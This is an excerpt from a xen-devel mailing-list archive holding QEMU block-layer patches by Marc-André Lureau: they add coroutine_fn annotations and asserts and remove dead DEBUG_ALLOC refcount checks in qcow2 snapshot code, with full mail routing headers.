 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=971;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=abdp1jnclsipbx9mt5zdr1x5wsYMVTEvTXCKXSBolV8=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZz9grl3rujFFr0nC5HACNLTbHVapJE30Tmf
 AxKPYXjJrKJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5b19D/9DHwTT2RdkS9aJSCsfO+Q/NGFEh9JrYG5r24XOrgePClcjmV6TX6TPmooLrmYjGYUxepw
 MS1Q/eR46z0qBQZjFcnkKGCNcmTDAezrz02GCkl0hx34GcbFD39HfIAtMBuQ1rcnsMh0QZYqVcJ
 6fwbJdczYk7txUDhNzcNggOrBEgxw4Nv3dlib8ml/eS5+Q+8gTcaPAlsnn5NRKJ8uU+Ug+LrJme
 uuhte+vOvucePU8FIfb6xLmBvizXiujdEfxytHNMT7zNW7jv2zUk0A1brsZv2lNEiCEUtaLbSQK
 W42RevaVr/PbVh7K+ZMD4EABp+13+qwcvlzfeKihasmbFrbA7KK6P/2/WaHW3+q78BeDyJdI7uw
 TzVPZT87QQFcT0U3Ie/+8z5JpDYd5G4ntBrW32oNIMc+eKVFH9a/8+9XKw+yYZZSvfbagLllckw
 OypJubbbIDZxk6TkQEcMyMZk8UvH+2N3U0OeeFn4DY7LTTW5gM8zwjHqDMDUXArkaPjnySvgB7F
 oEgFoj9skf+OzmtyuOhYCVTwErqMi+RslzhIDu5/Hy6FR6zIyA4epj3pQWfwtuUS6ek2iMw+JxD
 qmDqWeFF56u5d/lccsQqUcchkfXxlWrYfADVWRzD9om998gZ6CWAghc/uwUCzFsC2DhLTX9Cx1f
 Ejr+wyhOvjIwxQw==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-Mimecast-MFC-PROC-ID: EfftffwCwfONULJnmW9tAL3l0fUDb3XtzURpf3XtjF0_1784972946
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784972952-C04DBB50-54EDAF33/0/0
X-purgate-type: clean
X-purgate-size: 973

The function was extracted without carrying the annotation.

Fixes: 23743ab282af ("block: move commit_run loop to separate function")
Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>
Reviewed-by: Kevin Wolf <kwolf@redhat.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 block/commit.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/block/commit.c b/block/commit.c
index c5e3ef03a21b..2d52c39594cd 100644
--- a/block/commit.c
+++ b/block/commit.c
@@ -128,8 +128,9 @@ static void commit_clean(Job *job)
     blk_unref(s->top);
 }
 
-static int commit_iteration(CommitBlockJob *s, int64_t offset,
-                            int64_t *requested_bytes, void *buf)
+static int coroutine_fn
+commit_iteration(CommitBlockJob *s, int64_t offset,
+                 int64_t *requested_bytes, void *buf)
 {
     BlockErrorAction action;
     int64_t bytes = *requested_bytes;

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370575.1618675 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0R-00057S-Vs; Sat, 25 Jul 2026 09:49:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370575.1618675; Sat, 25 Jul 2026 09:49:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0R-00057G-Rr; Sat, 25 Jul 2026 09:49:19 +0000
Received: by outflank-mailman (input) for mailman id 1370575;
 Sat, 25 Jul 2026 09:49:19 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0R-00053l-B4
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0Q-003Tyx-OB
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:18 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648665-bab6-0a2a0a5309dd-0a2a4505c29e-46
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:18 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a64869d-4cb1-0a2a45050019-aa0a817c7f87-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:18 +0200
Received: from mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-621-BrmrMhXXN0i2jceZC3B3Mw-1; Sat,
 25 Jul 2026 05:49:13 -0400
Received: from mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.95])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 8249419560BF; Sat, 25 Jul 2026 09:49:11 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id D7A2B15AD; Sat, 25 Jul 2026 09:49:09 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972957;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=w9P2W4JHcW8gHi5z7gIDq25C1oCq7ThbiMkHET5NoPI=;
	b=HYVMFAFFNk0G9Gu5TRjShkGNtkdPwqWRsXgYXwD20pEShaBguEl1GAvThMyj/UWfx1EgCt
	pI9oD+3xxFGfu8vJMpGU3azWtxvnwYOJ2ZcCOJeZaljK16LMQJBi10xbI4TnyWX7MKDdyU
	v2l+czEJFrxCWiKDm1wLTDG16fNIuuE=
X-MC-Unique: BrmrMhXXN0i2jceZC3B3Mw-1
X-Mimecast-MFC-AGG-ID: BrmrMhXXN0i2jceZC3B3Mw_1784972951
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:36 +0400
Subject: [PATCH v2 5/8] qcow2: remove invalid qcow2_check_refcounts calls
MIME-Version: 1.0
Message-Id: <20260725-co-v2-5-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>, 
 =?utf-8?q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1528;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=OO6u4jc/oE85ygnu76Eff+BQJm9qaSylokab/TrhS7g=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZzfPevyXGRv+xnq8r35PAUtTMrTUb4NAqe+
 hkubEX4UVGJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5aAKD/wN53cO9tA13mklf71VFEHO7NQPXDCZjyms/h620vuCWbhJgtsXdTs/vauCTj6QNUvEbur
 fuKl3k2FkArKGYeX7xE4xQEmNJGupnV3nGUeCvIYmGXf0fAJqwjXdF5fN60c+mZ8uVMPW5WjXRB
 sefOQhmb7hNT1u7G50hQo6Lywi1rAlAltWxCnf/j2yK2LyBHQCArIMzwM+tGfR63ImLvUVeCrHw
 FU3dbk5dCWNDXGYcNF71kJVvxiqCdLxVEiWbkEtNJHUU2JSh6malEhnFsjaKnz1V5ZIB2BmOCZj
 NJ5ds5WC3g+koW/4yh9pAajJo3MIWtkpKA4hnm3RT7MpJ3vngIkbT6Qk2u7EjfvNLqInYHWWQfo
 lt40V1rdSWT5tY6bwj3Gou/6P3xwFWZSk7/ko0C3XvgaW3mml7X9oVls5rGXc65kBE4jtQB3va8
 RxD9Cio/knC3ua+Brls+Rm33paasb73NYZdiaqXW3a0zk2DmK6l1y+G5lKQfGOW6bvUDv1yfNwB
 wrSOTxQXxj/Wy/oO2tTL6aVKdqJxMtBnSEo2gCtcfgC8xeXXA49wmMbOLq0s8RmQ8E47BcVzcn/
 EqOfZPC7iOFaoI1cyhfCAQBS7zyDXyhuv2kB1jV+/W/xKKMPQw6oLSHhUVx4+BNmDDsTO83NyvQ
 z3SBv86fYOVjKbA==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.6 on 10.30.177.95
X-Mimecast-MFC-PROC-ID: QFOr934oFcxZcDR0MHZwAqlYO5gAaiEYl9r7OHod3qE_1784972951
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784972958-F6AB72A1-6BD7D1DE/0/0
X-purgate-type: clean
X-purgate-size: 1530

Those DEBUG_ALLOC-guarded are dead code incorrectly calling coroutine fn
from non-coroutine. Remove it.

Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>
Fixes: 70bacc44532 ("qcow2: mark more functions as coroutine_fns and  GRAPH_RDLOCK")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 block/qcow2-snapshot.c | 18 ------------------
 1 file changed, 18 deletions(-)

diff --git a/block/qcow2-snapshot.c b/block/qcow2-snapshot.c
index 1e8dc48be1c5..8453ad73d10f 100644
--- a/block/qcow2-snapshot.c
+++ b/block/qcow2-snapshot.c
@@ -740,12 +740,6 @@ int qcow2_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info)
                           ROUND_UP(sn->vm_state_size, s->cluster_size),
                           QCOW2_DISCARD_NEVER, false);
 
-#ifdef DEBUG_ALLOC
-    {
-      BdrvCheckResult result = {0};
-      qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 
 fail:
@@ -893,12 +887,6 @@ int qcow2_snapshot_goto(BlockDriverState *bs, const char *snapshot_id)
         goto fail;
     }
 
-#ifdef DEBUG_ALLOC
-    {
-        BdrvCheckResult result = {0};
-        qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 
 fail:
@@ -975,12 +963,6 @@ int qcow2_snapshot_delete(BlockDriverState *bs,
         return ret;
     }
 
-#ifdef DEBUG_ALLOC
-    {
-        BdrvCheckResult result = {0};
-        qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 }
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370580.1618684 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0Z-0005dF-C4; Sat, 25 Jul 2026 09:49:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370580.1618684; Sat, 25 Jul 2026 09:49:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0Z-0005ca-86; Sat, 25 Jul 2026 09:49:27 +0000
Received: by outflank-mailman (input) for mailman id 1370580;
 Sat, 25 Jul 2026 09:49:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0X-0005ZS-KO
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0X-008uR2-1D
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:25 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648698-e002-0a2a0a5209dd-0a2a450ce08a-14
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:24 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a6486a3-f479-0a2a450c0019-aa0a817cbda9-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:24 +0200
Received: from mx-prod-mc-06.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-609-1bbY5DcCP9-L3iAAvjj2xQ-1; Sat,
 25 Jul 2026 05:49:20 -0400
Received: from mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.12])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id A7F371800593; Sat, 25 Jul 2026 09:49:17 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 04112195608A; Sat, 25 Jul 2026 09:49:15 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972963;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Q+j1+kKqO3gSZvGipTvwtW8wX1wySBZb9ydRx80MK64=;
	b=NfO4E/NDTMqtRgnL+ukwahBMyLkfdpVF47RlQBtunS9bDq7UWtVmS9LSWRIq3PftC650Fb
	N0xwH0nmgfC7Ct3ND8cqeHuxLVqvHrbSaR1EtOi4uT3tPTuaU1m6MevzdUm0FQBZrdu7cq
	BpTzmdskl/RCJL8fGf+kcOaPiRT0qQw=
X-MC-Unique: 1bbY5DcCP9-L3iAAvjj2xQ-1
X-Mimecast-MFC-AGG-ID: 1bbY5DcCP9-L3iAAvjj2xQ_1784972958
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:37 +0400
Subject: [PATCH v2 6/8] block: add missing coroutine_fn annotations
MIME-Version: 1.0
Message-Id: <20260725-co-v2-6-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=5471;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=yTkTviyyBs2JmImgJurFl/odglaAcF3CvUVYx2ZMvRM=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZz8TTOO3VDCqBTb3iNQAKge10DpvXXqhXeQ
 nPOCdjvI3uJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5S/DD/9cjL8R8CyX153qhZrTXbN9AANth97cirMo2+NXG4TV5YLdr6hEhHRI7iGBfvXnfWZXAxW
 W3rPCqqWF45atRd4qIuWkOh25wNNxPHuUuXvw/yKeZrN5QuvnKPBgjU5fE1TloYOHXx1NaOsBtK
 itFYbZcUffhaWCMUeYyhqFAT0qG54aJZyiOldKaoNYjgwjaRnDgBJQhOHtwNxPrKFT3lAQOVZke
 jsLhGPgY0T7ea3fpy8Jl8QqWziCLZsEfnrSyBLfcNte5kllSJEOyTFmL115UVBXwwcWsGZ90XIg
 W8ct3twLPiFbK7U2ct8hqtAIDvnPzYfToYpb6MKTPrUCEJYnR9InQJgYjzxQ2tsb7EeuU4gEROQ
 B2riKZ5mMVAewG2XXhF3uPpkjU8LrX7sOlLGA5eM3kDRV17zvrwz8jRSZuXiTkRUQgSoehA1MSw
 qEnPlnLTFgQtBt3cPHh36MXbjMxF52u8tVoKraUjnejH8tstHVFgpyJrOXq33edWZvDRGq6iMbO
 yu9rm9p5SWXEDvbUNvWXIo0TuO9wTFrhuC4xQyCZAZ5W6pSP6ZDQNcRWZuXj6EqP5mLkC4o61Ib
 gie+it0H4AXAlRHKx2u6E5xkmjbyfbWOq3wcHhrYEusLNBnIiVCgU+yJHf7RKteRXFQ6+BeWNd0
 W7BEVu/I/8oyZDQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.12
X-Mimecast-MFC-PROC-ID: H7jSOuheZSwli5sVOuaNp8B9Yu2KnqqXN_f_qv1CurQ_1784972958
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1784972964-016C6A5B-472FEF84/0/0
X-purgate-type: clean
X-purgate-size: 5473

The functions call coroutine functions or are called by coroutine.

Add an assert() in qcow2_do_close() code path which calls a
no_coroutine_fn bdrv_graph_wrlock_drained().

Add an assert() in qcow2_update_options_commit() in the coroutine
path.

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 include/block/blockjob_int.h |  2 +-
 block/crypto.c               | 13 +++++++------
 block/io.c                   |  8 +++++---
 block/parallels.c            |  5 +++--
 block/qcow2.c                | 12 ++++++++----
 blockjob.c                   |  3 ++-
 6 files changed, 26 insertions(+), 17 deletions(-)

diff --git a/include/block/blockjob_int.h b/include/block/blockjob_int.h
index 4c3d2e25a209..34e172874fa9 100644
--- a/include/block/blockjob_int.h
+++ b/include/block/blockjob_int.h
@@ -150,7 +150,7 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n);
  * Put the job to sleep (assuming that it wasn't canceled) to throttle it to the
  * right speed according to its rate limiting.
  */
-void block_job_ratelimit_sleep(BlockJob *job);
+void coroutine_fn block_job_ratelimit_sleep(BlockJob *job);
 
 /**
  * block_job_error_action:
diff --git a/block/crypto.c b/block/crypto.c
index 36abb7af4680..8a34d92fded6 100644
--- a/block/crypto.c
+++ b/block/crypto.c
@@ -56,12 +56,13 @@ static int block_crypto_probe_generic(QCryptoBlockFormat format,
 }
 
 
-static int block_crypto_read_func(QCryptoBlock *block,
-                                  size_t offset,
-                                  uint8_t *buf,
-                                  size_t buflen,
-                                  void *opaque,
-                                  Error **errp)
+static int coroutine_mixed_fn
+block_crypto_read_func(QCryptoBlock *block,
+                       size_t offset,
+                       uint8_t *buf,
+                       size_t buflen,
+                       void *opaque,
+                       Error **errp)
 {
     BlockDriverState *bs = opaque;
     BlockCrypto *crypto = bs->opaque;
diff --git a/block/io.c b/block/io.c
index a916b236c3c8..99dd16864a3d 100644
--- a/block/io.c
+++ b/block/io.c
@@ -346,8 +346,9 @@ static void coroutine_fn bdrv_co_yield_to_drain(BlockDriverState *bs,
     assert(data.done);
 }
 
-static void bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
-                                  bool poll)
+static void coroutine_mixed_fn
+bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
+                      bool poll)
 {
     IO_OR_GS_CODE();
 
@@ -397,7 +398,8 @@ bdrv_drained_begin(BlockDriverState *bs)
  * This function does not poll, nor must any of its recursively called
  * functions.
  */
-static void bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
+static void coroutine_mixed_fn
+bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
 {
     IO_OR_GS_CODE();
 
diff --git a/block/parallels.c b/block/parallels.c
index 7a90fb5220b9..6f96cc4e3045 100644
--- a/block/parallels.c
+++ b/block/parallels.c
@@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsState *s, int64_t off)
     return off / s->cluster_size;
 }
 
-static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
-                            int nb_sectors, int *pnum)
+static int64_t
+block_status(BDRVParallelsState *s, int64_t sector_num,
+             int nb_sectors, int *pnum)
 {
     int64_t start_off = -2, prev_end_off = -2;
 
diff --git a/block/qcow2.c b/block/qcow2.c
index 19271b10a49f..409ac362db62 100644
--- a/block/qcow2.c
+++ b/block/qcow2.c
@@ -1287,9 +1287,10 @@ fail:
 }
 
 /* s_locked specifies whether s->lock is held or not */
-static void qcow2_update_options_commit(BlockDriverState *bs,
-                                        Qcow2ReopenState *r,
-                                        bool s_locked)
+static coroutine_mixed_fn void
+qcow2_update_options_commit(BlockDriverState *bs,
+                            Qcow2ReopenState *r,
+                            bool s_locked)
 {
     BDRVQcow2State *s = bs->opaque;
     int i;
@@ -1299,6 +1300,7 @@ static void qcow2_update_options_commit(BlockDriverState *bs,
      * table caches
      */
     if (s_locked) {
+        assert(qemu_in_coroutine());
         cache_clean_timer_co_locked_del_and_wait(bs);
     } else {
         cache_clean_timer_del_and_wait(bs);
@@ -2126,7 +2128,8 @@ fail:
     return ret;
 }
 
-static void qcow2_reopen_commit(BDRVReopenState *state)
+static void
+qcow2_reopen_commit(BDRVReopenState *state)
 {
     BDRVQcow2State *s = state->bs->opaque;
 
@@ -2905,6 +2908,7 @@ qcow2_do_close(BlockDriverState *bs, bool close_data_file)
     g_free(s->image_backing_format);
 
     if (close_data_file && has_data_file(bs)) {
+        assert(!qemu_in_coroutine());
         GLOBAL_STATE_CODE();
         bdrv_graph_rdunlock_main_loop();
         bdrv_graph_wrlock_drained();
diff --git a/blockjob.c b/blockjob.c
index f3b11cc7a194..f3ad6a93125a 100644
--- a/blockjob.c
+++ b/blockjob.c
@@ -338,7 +338,8 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n)
     ratelimit_calculate_delay(&job->limit, n);
 }
 
-void block_job_ratelimit_sleep(BlockJob *job)
+void coroutine_fn
+block_job_ratelimit_sleep(BlockJob *job)
 {
     uint64_t delay_ns;
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370591.1618693 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0g-0006BL-I9; Sat, 25 Jul 2026 09:49:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370591.1618693; Sat, 25 Jul 2026 09:49:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0g-0006An-Eo; Sat, 25 Jul 2026 09:49:34 +0000
Received: by outflank-mailman (input) for mailman id 1370591;
 Sat, 25 Jul 2026 09:49:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0f-00067H-8H
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0e-008uR2-LH
